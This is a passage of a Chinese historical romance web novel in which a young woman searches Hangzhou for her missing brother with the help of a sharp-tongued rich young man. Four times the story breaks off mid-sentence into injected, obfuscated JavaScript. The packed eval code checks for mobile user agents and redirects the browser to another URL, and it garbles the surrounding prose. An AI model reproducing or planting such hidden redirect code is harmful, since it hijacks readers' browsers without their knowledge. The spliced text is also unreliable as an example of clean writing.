陆亭尘清了清嗓子,道:“事情本是这样的,我与钱塘一户人家有婚约在身,却实在不喜她家女儿,你恰巧同她长得相像,这事就好办了。只需你扮作她,随我到扬州去,同我家人说清楚退婚的事……” 没等他说完,江岺连连摇头,道:“不成不成,虽是报恩,可我不能做这骗人的勾当。” 陆亭尘“啧”了一声,说道:“不知变通。那再加一个条件,事成之后,我把你送回浔阳去,可否?” 江岺道:“也不行。” 他遗憾地站起身来,转告孟年:“还是把她丢回江里吧。” 孟年道:“郎君不可啊,你这样做是要吃官司的。旁的小事也就罢了,要是摊上人命,大人可不会袒护你。” 陆亭尘偏过头,同他小声道:“我只吓一吓她,你怎么又当真了?” 他变脸比翻书还快,江岺震惊不已。难怪江屿曾说此人所作所为,狗听了都摇头。眼前的年轻郎君与记忆里的冤家相去甚远,总令人怀疑是不是同一个人。而今,他成了纨绔,也是个毫不逊色于那帮匪盗的流氓。 船身随着江浪漂荡,江岺往外一看,外头漆黑一团,岸上有几点光亮,她还是在贼船上。 若想安然无恙脱身,还是得先想个法子周旋。 她站起身,不紧不慢道:“郎君有所相求,我本不应推辞。只是我有要事在身,还要先去一趟杭州。” 他心中大喜过望,拍掌道:“真是巧了。” 江岺道:“你也要去杭州?” 陆亭尘道:“不是。我刚从杭州来的。” 江岺:“……” 陆亭尘笑盈盈盯着她,又道:“可也不是不能顺道捎你到杭州去,再说,你身上一文钱也没有了,不是吗?” 经他这么一提,江岺才猛然回想起来,一摸腰间,空空如也。行李和盘缠都丢了,目下她是身无分文。 好一个黑心玩意儿,正是算准了她没有退路,实难拒绝。 她瞬间蔫了,可怜兮兮望着向这“好心人”:“你真有这么好心?” 陆亭尘道:“我有没有好心不知道,你是真没良心,怎么说也是我让人把你救了上来。” 江岺闻言讪讪,又问:“郎君有没有见着我的簪子?是一支镶着绿玉的银簪。” “哦——”他故意把尾音拉长,同她卖起了关子,“见着了。” 江岺道:“那……那能否还我?那簪子是亡母遗物,对我很重要。” 郎君展颜一笑,同她保证道:“放心,我一定好生帮你保管着,不然你又该弄丢了。” “好——” 你个悖时的东西…… 江岺险些咬碎了牙,强忍下骂人的冲动。重新审视眼前人,皮笑肉不笑:“那便有劳郎君了。” 陆亭尘微微点头,心情甚好。 “顺带问一句,你去杭州做什么?” 江岺道:“寻人,去寻我兄长。他已经一月没有归家了。” “你兄长?”他不自觉拧起了眉,诧异道,“你兄长多大人了,是傻子还是什么,不记得归家,还须得你去寻?” 他好死不死张了一张嘴,说出来的话忒难听。 江岺低下头,闷闷回答:“他归家途中出了些变故,在钱塘江上翻了船,人还没寻回来。” 无意戳到她的痛处,纨绔竟也会尴尬,别扭地移开目光,不再问了。他吩咐孟年:“去交待船夫掉头往南,到宣州渡口停船。” 孟年问道:“郎君此番捅出这么大一个篓子,家君还等着你回去问话呢?你不回扬州了?七月还得去书院……如此往复,怎么耽搁得起?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106255|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆亭尘抬脚就踹,催促道:“叫你去你就去,我自有分寸,用不着你教。” “回去挨骂受罚,还不是得拉上我一起,真是一天天干的什么混账事……” 孟年暗自嘀嘀咕咕,不情不愿将自家郎君的话转达,船夫摇着橹掉头,往黑瓦白墙林立的宣州城去。 船家移船泊在渡口,一行人登了岸。 抱着琵琶的歌伎收下孟年递过去的赏钱,盈盈一拜后施施然退去。 那主仆二人自顾自走在前面,江岺裹着件披袄跟在后头,还未干透的衣裳黏在身上,浑身难受。 前面的人突然顿住脚步,江岺险些撞上。 陆亭尘道:“这么晚难以赁到马车了,还是先寻个脚店休憩,明日再做打算。” “我……知道。”江岺淡淡应了声,知晓着急也于事无补。 孟年焦急得似釜上热蚁,绕在陆亭尘前后踱来踱去。 到了脚店,陆郎君要了两间上房,江岺单独一间,他与孟年同住。 江岺出浴换了身干净衣裳,已经入了二更天,刚躺下欲将休憩,突然听到一阵敲门声。 “谁?”江岺问。 门外人道:“我,你的救命恩人。” “……” 江岺默了好一阵,慢吞吞把门打开,望着门口精神抖擞的主子,打折哈欠的书童,问道,“这么晚了,有什么事?” 陆亭尘道:“也是才想起来,若明日就离开宣州城了,谢公楼我还未去看过,你想不想去看?” 他身后的孟年给她使着眼色,拼命摇头。 江岺问道:“现在?” 陆亭尘道:“正是,不然哪里还有空闲?” 她道:“不去。” “啊……”只见他眉尾一挑,故作遗憾状,“那还真是遗憾,只能孟年你陪我去了。” 孟年欲哭无泪,江岺爱莫能助,只能对他投以同情的目光。 也不知他发的什么癫,空着好好的屋子不睡,大半夜跑去陵阳山谢公楼上去看渔火。 他许是得了富贵病。 第二日在酒楼里用早膳,江岺与之相对而坐,这两人眼下皆挂上乌青,一个比一个双目黯黑。以至于去往钱塘的一路,三人同乘一驾马车,主仆二人都是睡过去的。 他们从杭州来,沿途风景大抵早就看倦了。 江岺则是在五年后,再度踏上生长的土地,熟悉又陌生。 她到了钱塘,向渡口的一众船夫打听江屿出事的地方,又请船夫撑船寻了过去。 茫茫无际的钱塘江面,偶有几艘过往的船只,距离他的归期四月二十六日,已经过去太久。 这段时期的钱塘江上下过许多场雨,晴了又雨,雨了又晴,江滩与芦苇荡里再寻不到半点痕迹。 在江上漂泊了整整一天,为了一个素不相识的陌生人,纨绔是一点耐心也没有了。 陆亭尘劝她道:“你在钱塘人生地不熟的,要寻个人可不容易,要不然——先去报个官?” “报官?”江岺迟疑了。 杭州辖境内,去找她那个不如死了的阿爷吗? 当年正是赵大人欲置她于死地,所以官府里的人靠不靠谱,她还不清楚吗? 8. 钱塘潮(三) 陆亭尘道:“你说你兄长是浔阳县丞,好端端的他跑到杭州来做什么?如若是为了公务,他出了事,照理来说官府不应不管。” 这样说来,倒是提醒了江岺。 江屿并非是为公务,而是为私事而来。 当初既是为寻槿娘,那杭州的青楼里,会否有他要找的人,又会否知道他的消息? 江岺从广袤的江上收回视线,转看向舟中百无聊赖的两个少年。 “劳烦郎君陪我找了一天,今日就先回去吧。” 主仆相视一笑,皆长舒了一口气。 归途之中,江岺又问道:“敢问陆郎君,可知杭州城中有几家青楼乐坊?” 陆亭尘皱起眉道:“你莫名问这个做什么?不是还要寻你兄长?可别想不开啊,那儿可不是你能去的地方。” 江岺道:“我去寻人,我在浔阳时,听闻扬州乐坊里有位娘子,是我兄长的旧相识,说不定会有人知晓他的去向。” 陆亭尘纳闷了:“啧……你兄长大老远过来,却混迹这种地方……可不像什么正经人啊。” 江岺道:“他并非你说的那样,又不是去寻欢作乐!不过问你一两句,你怎么凭空诋毁人清白?” “好好好,我不多嘴。”陆亭尘道,“先说好,我也只是略有耳闻,可从来没去过那种地方。” 此人欲盖弥彰,江岺一副深以为然的样子,继而问道:“所以——你真知道?” 陆亭尘道:“嗯,知晓一二。杭州最有名的乐坊啊——当属城南的寻莺坊。” 寻莺坊……江岺默默念着这个名字,像是达官贵人们逗弄鸟雀的地方。 那些迫于生计的娘子,可不就是困在笼中的鸟雀吗? 江岺道:“我想去寻一个旧籍浔阳的歌姬,郎君能否帮我?” “好办。”陆亭尘道,“这样一来,你就欠我两桩恩情了,得替我办两件事。” 江岺点头道:“好说。” 当日,陆亭尘就带着她来到杭州城中最大的乐坊。 满城中风帘绣幕,不愧为天下锦绣乡。 坊曲当中琴音飘渺,那郎君只是走近,琴音就被莺莺燕燕的声音盖过了,满楼红袖招。 而他此刻这般从容,似乐在其中。 江岺狐疑看着他:“你当真从没来过?” 陆亭尘道:“我是正经人,怎么可能来这个地方?” 江岺一抬头,望着门上匾额“寻莺坊”三字,媚态横生。 陆亭尘反复问她:“你真要进去?寻人……也不该寻到这种地方来啊。” “嗯。”江岺攥紧了衣角,也攥着那似有若无的底气。 还没迈过门槛,乐坊里招揽客人的容娘子先迎了出来,一挥扇子,望着陆亭尘满脸堆笑:“这位郎君,您又来了啊。” 陆亭尘抽出被她拽着的袖子,冷着脸道:“你记错了吧?我可是头一次来这儿。” 江岺移开眼去,装作什么也没听到。 一切尽在不言中。 容娘子善极察言观色,急忙掩口胡卢:“是是是,您瞧瞧奴这记性,怎么就认错人了呢。郎君快请进来,咱们坊里的娘子啊,琴艺歌喉都是一绝,可需奴给你引荐几位?” 陆亭尘道:“不必,我是寻人来的,你这寻莺坊里可有一位旧籍浔阳的歌姬?” 容娘子细想下来,一拍掌道:“呦,还真有,不是是不是郎君要寻的人。” 陆亭尘道:“见一见便知了。” 容娘子略显为难,道:“锦屏这会有别的客人呢,您须得等一等。” 陆亭尘道:“寻个雅间坐等,上最好的茶饮,不要酒。” 容娘子道:“好,请郎君随奴过来。” 江岺与孟年跟在他身后,活脱脱两个小厮。 在乐坊里这般熟稔,还说他是头一次来呢。 容娘子自顾自道:“说来也巧,半月前有人来寻锦屏,也是因着她浔阳的旧籍。几位也是从江州来的?” 陆亭尘道:“非也。” 三人在雅间里落了座,乐坊的仆役斟好了茶便出去了。 江岺觉得周遭新奇,四处张望着。 陆亭尘把茶杯往她面前推了推,道:“尝尝这茶如何。” 江岺捧起茶杯浅尝一口,拧起眉头大失所望,她如实道:“又苦又涩。” “啧。”他摇头叹着气,“果然是乡下来的,尝不出好赖。” “哼!” 江州自古为产茶之地,好歹在浔阳生活了这么多年,若说她不懂茶,江岺可就不乐意了。 她道:“这里的茶叶自然比不上江州的,庐山的康王谷水乃是天下第一泉,杭州的茶与水皆比不得,自然逊色不少。” 陆亭尘笑道:“倒是低看了你。” 江岺低着头沉默,她以前好歹也算得上大户人家的女儿,不逊于陆家的出生,造化弄人罢了。 现在,只能担得起一声乡野丫头,巷陌里的卖花娘子。 约莫过了一盏茶时间,那个名唤锦屏的歌姬才抱着琵琶姗姗来迟。 雅间里降下珠帘,她抱一把凤颈琵琶坐在帘后,帘后的女子皓齿明眸,春衫单薄,勒得她脖颈纤长。 锦屏信手拨了几个琴音,盈盈一笑:“妾锦屏见过诸位,几位客人,想听什么曲子?” 乐坊里风花雪月的曲调,江岺自是不懂这些,看向陆亭尘时,他却开始支支吾吾:“我、我和孟年先出去了,有什么想问的,你赶紧问吧。” 江岺道:“好。” 如此一来,雅间里听曲的“客人”,就只剩她一个了。 江岺与她对坐时,有些踌躇。锦屏抬眸看她一眼,很快又低下眉目,略略莞尔:“稀客啊……妾到寻莺坊这么多年了,还是头一回接待女子。” 江岺不回应她的客套,却先问起:“你是槿娘吗?浔阳下梧乡的陈槿娘。” 锦屏道:“什么槿娘?妾不识得呢。” 江岺万万没想到会得到这么一个答复,她打量着珠帘后的女子,试图从后者脸上察觉出一丝端倪。可她没有像兄长那样一双慧眼,什么也看不出来。 她又问:“可寻莺坊的容娘子,她说……她说你故乡在浔阳。” 锦屏不甚在意道:“既进了乐坊,没入了贱籍,哪儿还有什么旧乡?” 江岺道:“乐坊坊主说,替你赎身须得五百两,我很快就能攒够这些钱了,只需你再等一等。” 锦屏放下拨子,平心静气地发问:“你是谁?五百两也并非小数目,因何帮一个素不相识之人?” 江岺道:“娘子不认识我,可你记不记得我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106256|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄长?” 锦屏道:“你兄长?是谁?” 江岺道:“昔年有个姓江的读书人途径浔阳,曾得你一水一饭之恩。后来他做了官,又回到浔阳去找你,这么些年来,他一直在寻你。” 锦屏低眉敛目细细思量,兴许在极其久远的年月里,的确有这么一个人。 可这会儿,她只抬起头来,淡笑道:“我不记得了。小妹妹,你快回去罢,这里可不是由你玩乐的地方。” 江岺不敢尽信,复又追问:“就在半月前,他还到这儿来找过你,你真的一点也不记得吗?” 锦屏道:“妾在这寻莺坊里,每日迎来送往,见过的客人数都数不尽,记不得你说的这个人。” 她咬定了不记得江屿,也闭口不谈过往,江岺叹了口气,没再问下去,起身向她赔礼:“便当是我找错人了,今日多有冒犯,对不住娘子。” “不妨事。”锦屏抱着琵琶向她回礼,转而将琵琶收入防尘袋里,笑着劝道,“也不必想着为妾赎身的事了,坊主都是这样搪塞人的。她报了价你拿不出来,下回再来问,可就不是这个价了。” 江岺正要推门离去,听得她的好言相劝,又回过头来,说道:“娘子可还记得下梧乡的扶桑花?下梧乡还有个拄杖的老妪,每天都坐在门前盼着女儿回来,五年来兄长一直在照顾她。” 珠帘后无人回应,只有微风拂过,珠玉叮咛,掩去似有若无的叹息。 江岺出了雅间,门外两个郎君正似门神一样靠在正门两边,百无聊赖。 陆亭尘问:“如何了?” 江岺苦笑着摇头,道:“什么也没问出来,兴许是我找错人了吧。抱歉啊,又耽搁了你一日。” 陆亭尘道:“她不是你要找的人,那就再去别家乐坊找找,反正杭州的青楼坊曲拢共就那几家。” 江岺道:“不必了,不用再找了。” 陆亭尘道:“真不找了?那是不是该谈谈我们先前说的事了?陪我回一趟扬州,帮我一个小忙。事成之后,恩也抵了债也消了,我还送你回浔阳。” 江岺自是不信。 这么丰厚的条件,能是什么小忙? 她问:“两天后……可否再给我两天时间?若还是毫无线索,我就跟你去扬州。” 陆亭尘道:“成,说好的两日,这一回可不准变卦。” 江岺道:“你放心好了,绝对不会。” 往柜台挂帐之时,江岺惊得眼皮子跳了跳。不过坐下喝了一盏极为难喝的茶,连一首曲子都没听上,竟花了八十两。 锦屏甚至并非寻莺坊的头牌,这杭州的乐坊真是黑心啊。 出了寻莺坊,陆亭尘正思索今日晚膳到何处去对付。 他忽然问起江岺:“你是初次到杭州?” 江岺顿了顿,道:“是啊。” 陆亭尘道:“前边不远有家酒楼,名曰竹园,那儿的清蒸野鸭与莲房鱼包乃是一绝,一定得去尝尝才不虚此行。” 江岺连忙摆手道:“不不不,不必破费了。” 陆亭尘道:“推辞什么,难得到杭州来一趟,定不叫你扫兴而归。” 江岺愈发心虚,也不知扬州到底有什么在等着她,才值得他这么殷勤。 三人正往竹园去,迎面遇上位年轻娘子,有些面熟。 9. 钱塘潮(四) 浅碧绣夹裙,桃粉胭脂面。 且不说这打扮,模样亦是怎么看怎么眼熟。 未等江岺想起来这是何方人物,身旁人倒先嗤笑出声:“不巧,我仇家来了。” 也没等陆亭尘继续解释,那小娘子上来就指着他骂道:“好你个陆三!我妹妹的事还没同你算清楚,你竟还敢到杭州来!” “是吗?”他不紧不慢移目看去,眉眼轻慢,“我原以为说清了的,两家好聚好散。若赵家娘子死揪着不放,只会闹得更难看。” 赵家娘子……这不正是她从前那位二姊吗?那还真是不巧。 她情愿不相熟。 虽说挨骂的不是她,江岺还是如做贼般挪着步子退远,不愿与赵家的人再生什么干系,更担忧迎面撞上,赵霜会认出她来。 话说他与赵家悔婚的事,闹得两家面上难堪,恶名也传了千里,江岺远在浔阳也略有耳闻。 赵霜道:“杭州上下,谁人不知你当初理亏,灰溜溜地跑回扬州去?怎么?这回是受了家法还是挨了训诫,陆伯父赶着你上门赔礼?” “呸!”陆亭尘骂道,“别以为你赵家的女儿有多招人稀罕,一个个都如悍妇似的,谁娶回家谁倒霉!” 江岺捂着耳朵靠边站,他好死不死长了一张嘴,少骂几句身上是会少块肉吗? 刚往后迈出一步,手腕蓦地被人拽住。 那人横眉冷目,颇为不满:“跑什么?” 江岺面不改色狡辩:“没跑,只是……郎君的私事,我不便掺和。” 赵霖眼尖,直勾勾问她:“你是哪家的娘子?怎么会同他扯上关系?” 陆亭尘道:“与你何干?” 赵霖道:“只是好心奉劝这位娘子一句,莫要被他给诓骗了,但凡出去打听一圈,便知这陆家三郎游手好闲斗鸡走犬,是个不折不扣的败类!” “别听她胡说八道!” 他似乎真的恼了,箍在她腕上的手愈发地紧。 江岺平心静气道:“传闻信不得。至于这位郎君是什么样的人,我眼睛没瞎,自己会看。” 本该是剑拔弩张互相攀咬,陆亭尘却在听得她的回答后轻嗤一笑,什么脏话狠话都没骂出口。 江岺松了口气,不论过了多少年,他都还是这副样子,只听得进软话。 “还真是好心当成驴肝。”赵霜气得直跺脚,撂下一句气话,便从她身边擦肩离去了。 江岺回首呆愣愣地望着赵霜离去的方向,一身华贵绫罗,嚣张气焰,还有那同她极为相似的眉眼,不知是什么刺痛了她的眼。 陆亭尘道:“别看了,去晚了酒楼都要闭店了。你这人是石头做的吗?在外面找了一天的人,竟也不知道饿。” 江岺看他舒展的眉宇,什么恼怒之意,早就烟消云散了。 到了竹园,他方一落座,就发挥起纨绔本性,抬手招来跑堂,只道:“把你们店里的招牌都端上来,再上一壶紫苏饮子。” 跑堂忍俊不禁:“这位客官,我们店的招牌就只有清蒸野鸭与莲房鱼包,您确定只要这两道?” 江岺忍不住笑出了声。 到头来他还是得老老实实点菜。 “清蒸野鸭,莲房鱼包,再加几道……我瞧瞧……荷叶鲊、蟹黄毕罗、透花糍,再来两份荔枝膏。” “好,客官您稍等。”跑堂一一记下,退出门去。 等菜的间歇,陆亭尘兴味索然敲着桌,望着窗外渐暗的街景,说道:“也就这个时节来得巧,能吃上新鲜荔枝做成的荔枝膏,换做是其他月份,店家就会换成荔枝干代替,味如嚼蜡,弃之可惜。 “从前有位朋友带我去吃过其他店的荔枝膏,竟是用杨梅混蜜糖做的,以次充好。我一尝就知道不对劲了,那位朋友竟一次也没吃出来……” 江岺默默听他念叨,他所不知道的是,民间并不是所有人都吃得起荔枝,可有人好奇荔枝的味道,才有鱼目混珠的商家投其所好。 纤长的指节一下下点在桌面上,他的目光不知何时定格在了江岺身上。 江岺问:“你看我做什么?” 陆亭尘皱眉道:“我方才还未发觉,如今细看,竟觉得你与那赵家的二娘子有些相像……” “咳——咳咳咳——”江岺一口汤呛了出来,继而遮遮掩掩道,“哪里像了?不过就是两只眼睛一张嘴,人不都是长这样的?” “罢了罢了。”他很快又收回目光,“还是少看几眼为妙,省得影响我胃口了。” 江岺:“……” 正逢跑堂先将紫苏饮子端了上来,陆亭尘率先给自己倒了一杯,去去火气。 江岺也不知这人何时这么讨厌赵家人了,莫不是在她假死以后?他不明说,她也不好自作多情啊。 江岺道:“明日我自行去找我兄长的下落,不劳烦你跟我到处奔走了。” 陆亭尘道:“你一个人?” 江岺道:“就在杭州城里,不会有事的。” 陆亭尘笑道:“谁担心你有没有事了,我是怕你跑了。” 江岺气鼓鼓瞪他,真想撕烂他一张嘴,笑得真贱啊。 陆亭尘道:“莫恼莫恼,我与你说笑呢。既选择信你,自然是要信到底的。” 他给了台阶下,江岺自然要蹬鼻子上脸。 她问:“那能不能借我点银子?身无分文的话,我在哪里都走不通啊。” 陆亭尘问:“借多少?” 江岺犹犹豫豫伸出两根手指头。 陆亭尘道:“二百两?” 江岺小声道:“二两。” “嗤——”他道,“二两银子能做什么?” 江岺道:“我又不去做什么杀人放火的勾搭,二两银子足够了。” 他随手取出一锭银子,推到江岺面前,笑道:“到扬州以前,你的一切开支都记我账上。怎么样?够诚意吧?” “嗯。”江岺皮笑肉不笑,道了一声,“多谢。” 掐准了这对主仆总是睡到日上三竿才起床,江岺翌日起了个大早,先到街市上寻了个花贩,连花带篮子买走了所有的花,再往脸上抹两把花泥,一如在浔阳城中卖花的装扮。 她扮作卖花的小贩,给寻莺坊看门的杂役塞了几枚铜板,又是卖惨又是恳求,才得以混入乐坊中。 方一进去,江岺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106257|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就被娘子们团团围住,穿得桃红柳绿的,比她篮中的花更加鲜艳。 她们热情地挑花问价,还没见到锦屏,花就快卖完了,这怎么成? 江岺灵机一动,说道:“对不住几位娘子,我这些花已经有主了,是一位郎君叫我送的,说是送给……” “啊……原来如此。” “是要送给谁呀?” 她们紧接着又八卦起来。 “楼子里哪位娘子这么有福气?” 江岺道:“是锦屏娘子,几位姊姊可知晓她在何处?” 有位好心的琴师道:“锦屏还在后院练琴呢,你若要送花给她,可先行送到二楼的绮云间去。寻莺坊里鱼龙混杂,你可切末乱走啊。” 江岺道过谢,在众人目光中走向二楼,趁其不备,又偷偷摸摸溜往后院。 切莫乱走? 笑话,不乱走的话,剧情还怎么开展? 到了后院,她见到了许多哭哭啼啼的小娘子,许多都是和她一样的年纪,一双素手满是伤痕。唱错了词,弹错了音,教习的老师动辄打骂。 江岺只敢远远望着那唤做锦屏的歌姬,她比其余人年长些许,早就不会落泪了。 算下来,她已二十有五,最好的年华都蹉跎在楼子里了。 眼下,她正坐在歌台下专心学着新曲,任谁从她身边经过,都分不走她半分眼神。 兴许,她的确曾是下梧乡的陈家槿娘,只是江屿来得太晚,她早就断了归家的念头了。 前厅匆匆来了一个小厮,停在锦屏跟前恭恭敬敬道:“锦屏娘子,那位大人又来了。” 拨子停在震动的琴弦上,发出铮然一声,惹得众人回头注目。 锦屏低下头理好鬓发,抬首时神色如常,与通传的小厮淡笑:“劳那位大人稍等,容妾先去换身衣裳。” 小厮道:“快些,勿让大人等着急了。” 江岺看得出神,浑然忘了自己是闯入此地的不俗之客,直到乐坊里的人出言驱赶:“哪里来的小童?怎么让她进到后院里来,管事呢?还不来人把她撵出去!” 情急之中,歌台下那双淡淡的眉目也朝江岺望了过来。 锦屏放下琵琶向她走来,“这位小娘子是来寻妾的罢?” “是。”江岺点点头。 后院的人道:“那也不能寻到后院来,娘子们都还在。” 锦屏道:“昨日有位郎君在绮云间落了些东西,兴许是替她家郎君来取的。”她又侧过头,朝江岺道,“请随妾来。” 那位郎君并无任何遗落的物什,她此前置身事外,江岺未尝料想她今日会为自己解围而撒谎。 经过她身侧时,江岺低声说了句:“谢谢。” 一路跟随她至绮云间,合上门后,锦屏无视了她的道谢,也没了柔和的语调,取而代之的是疲惫的叹息:“小妹妹,我早说过了,寻莺坊不是你该来的地方啊。” 她一转头瞥见门口放着的花,问道:“这些花是你放在这儿的?” 江岺道:“是我放的。” 锦屏道:“把你的花带走吧,别再来了。信不信由你,我从未见过你兄长。” 10. 钱塘潮(五) 江岺抱起花篮正要离开,廊间传来了一阵脚步声。 “我的客人来了,你赶紧出去。” 锦屏略显踟蹰,催促她快些走。 她举着笨重的篮子,跌跌撞撞被推出门去,险些撞上了迎面而来的黑影。 江岺身子一侧,堪堪避开,伸展的花枝还是擦着那人的肩头而过,惹得几片花叶零落,沦作他脚底碾碎的泥尘。 那人身形高大,一身宽袖缁衣,侧目扫她一眼,抬手掸去肩臂上不平的褶皱,视她一个贩夫走卒,丝毫不掩嫌恶。 绮云间的门“砰”地一声合上了,里头传来细碎的说话声。 江岺高举着花篮遮住自己的脸,凑在门外听了一会儿。 “那是什么人?怎么会从绮云间出去?” “来坊里卖花的吧,妾才要将她赶出去,大人您就来了。” 锦屏要见的“那位大人”,莫不是姓赵? 仅是一闪而过的猜测,心中陡然升起了不好的念头。 兄长失踪的真相,可千万不要和赵家产生联系呀…… 她逃也似的跑出寻莺坊,靠在巷子间喘着粗气。 甫一抬头发现巷尾有人在招手,是晨间卖花给她的小童。江岺左顾右盼发现四下无人,正是在朝着她招手。 她抚平胸中不平的气息,向那小童走了过去。 江岺道:“你是在叫我?” 卖花小童道:“原来你同我买花,是为了进寻莺坊?” 江岺尴尬一笑:“被你发现了呀,那这些花还你?我也用不上了。” 小童摇摇头道:“都蔫了,明日也卖不出去了。” 江岺道:“那这篮子也还你,你再买个篮子也得几十文钱呢。” 卖花小童道:“那买花的钱——” 江岺道:“不要你还。” 卖花小童接过花篮,纳闷起来:“你这人真奇怪,我之前也遇到过一个人,和你很像。” 江岺惊觉,拽着他的袖角追问:“是谁?是不是一个穿白袍的郎君?” “对。”小童说道,“那时他也是买下了我所有的花,却是请我帮他一个忙,到寻莺坊里去见一个人。” 江岺问道:“他让你去见的那个人,是不是锦屏娘子?” 小童回忆道:“是叫锦什么来着的……” 那就是了,小童所言之人,正是她跋涉百十里要寻的兄长啊。 自江屿出事以来,这是江岺第一次打听到同他有关的消息。 回首时,寻莺坊外依旧人来人往。 恍惚间,江岺好像看到那便宜兄长站在勾栏外,听着里头似有若无的琴音,叹息良久。 他终是没有踏入坊曲半步,转而去寻了个卖花小童,买下他所有的花,问他:“能否帮我一个忙?” 小童问:“郎君有何事,尽管说来。” 江屿道:“我有一位恩人,不幸沦落到坊曲之地,可否请你代我去看一看她?” 卖花小童不解,问道:“那是您的恩人啊,郎君何不亲自去看看她?” 江屿道:“怎可如此?本是她于我有恩的,若我亲自去,她便该唤我一声‘恩客’了,我如何受得起?” 说罢,他往小童手里塞了几两银子,他说坊曲中都是讨生计的苦命人,并非什么肮脏之地。 江岺问道:“后来你去见了锦屏,她如何说的?” 小童答道:“记不太清,只记得她说当初不过随手施的一碗饭,让那位郎君不必放在心上。她还说她回不去浔阳了,也无需浪费银两替她赎身,只请郎君下回来杭州时,顺道捎一枝浔阳的扶桑花,便当是还恩了。” 江岺又问:“那你可知道,那位郎君后来去了哪里?” 小童说道:“我不知晓,我从乐坊里出来,他付给我银子,不多久便走了。” 江岺道:“那你还记不记得,他是哪一天来的寻莺坊?” 小童道:“这我倒是没认真记,好像那天下了一场雨,他来时雨初晴,后来就都是晴日了。” 江岺问道:“你确定吗?” 小童道:“那是自然,后来几天我都出门卖花,不过没再见到他。” 江岺独自纳闷,奇也怪哉。 虽无确切日程,可眼前卖花小童所说的,和那个异乡人带回的消息不一样。 她潜意识更信任这个素不相识的小童,下雨的时候,她也不会出门卖花的。 “娘子,你还有什么要问的吗?”小童问她。 江岺抿着嘴,勉强笑了笑,道:“没有了,多谢你。” 小童说道:“是我该多谢你才是,今日又可以早些回家了,往常卖花赚的钱少了,到家是要挨骂的。” 江岺朝他摆手,道:“那你快回去吧,我也该走了。” 小童挎上花篮走了,江岺又到巷尾找卖假药的汉子买了两副蒙汗药,才回脚店。 清晨离开时未尝打声招呼,脚店里那两位郎君应该等着急了。 楼下茶肆里有两个接耳交谈的客人,如两只抱颈互啄的山雀。 一人焦急万分道:“江娘子已出去整整一天了,郎君你就不出去找找?” 另一人悠哉悠哉喝着茶,说道:“找她?街上日头这么毒,我才不去遭这份罪。” 孟年道:“可她拿了银两,郎君就不怕她偷偷跑了?” 陆亭尘道:“这就是你的不对了,怎可如此揣测他人?等着吧,说不定她过会儿就回来了。” 江岺自然而然加入了二人的谈话:“我回来了。” 陆亭尘笑道:“你瞧,我说什么来着。” “噗——” 两位郎君方一回头,见了江岺,客套的话还没来得及说出口,一口茶全喷了出来。 回来得太着急忘了照镜子,此刻她脸上应该满是灰泥。 陆郎君取出帕子擦了擦嘴角,故作淡定问道:“你干什么去了,把自己弄成这副样子?” 江岺落座,灌了一口茶,而后说道:“只在杭州城了打听了一圈,哪儿也没去。” “哦?”陆亭尘笑道,“看你这样子,我还以为你上山当匪盗去了。” 江岺道:“哪有哪有?好在并非一无所获,我也不算白跑一天。” 陆亭尘道:“说来听听?” 孟年强忍着笑意,给她递上一方干净帕子,“娘子脸上沾了些灰,先擦擦吧。” 江岺一瞥,杭罗的帕子?真是奢侈。 她道了声“不必”,扯过袖角胡乱揩去脸上的仆仆灰尘,其动作行云流水,任谁看了都得说一句:“粗鄙。” 陆亭尘默不作声给她续了一杯茶,江岺问他道:“四月二十八那日,你在杭州吗?” 他答:“在。” 她又接着问:“那天可有下过雨?” 陆亭尘想了想,回道:“四月二十八啊,只记得是个大晴天,我还倦在客舍里不愿出门。怎么了?突然问起这个?” 江岺遽然惊觉,一拍桌子站了起来。那个自称与江屿同舟的异乡人,果然是骗她的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106258|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一举动可把同桌的两人吓了一跳,两位郎君不约而同地有些心虚,此刻正面面相觑。 陆亭尘自我怀疑道:“怎么回事……我说错话了?” 孟年道:“没有吧。” 陆亭尘道:“那就是你招惹她了。” 孟年欲哭无泪:“郎君明鉴,我冤枉啊。” 